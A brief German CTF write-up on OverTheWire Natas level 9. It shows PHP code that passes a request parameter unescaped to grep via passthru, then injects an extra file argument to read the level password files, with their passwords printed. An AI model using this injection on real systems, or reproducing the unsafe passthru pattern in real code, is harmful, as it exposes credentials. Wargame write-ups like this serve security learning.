Aktualisiert am: 2022-08-03
Command Injection
Enumeration
-
Der Inhalt des Textfeldes
needlewird der Variable$keyzugewiesen$key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } -
Die Parameter
$keyunddictionary.txtwerden angrepübergebenif($key != "") { passthru("grep -i $key dictionary.txt"); } -
grepgibt die Zeilen der Dateidictionary.txtzurück, welche auf das Pattern$keypassen
Exploitation
- Das Regex Pattern
.(beliebiges Zeichen) passt auf sämtliche Zeilen -
Gemäss Syntax erlaubt
grepmehrere Dateien zu übergebengrep [OPTION...] PATTERNS [FILE...]
Entsprechend ändern wir $key um (unter anderem) an das Kennwort von Natas10 zu gelangen
. /etc/natas_webpass/natas*
Output:
/etc/natas_webpass/natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
/etc/natas_webpass/natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
dictionary.txt:African
...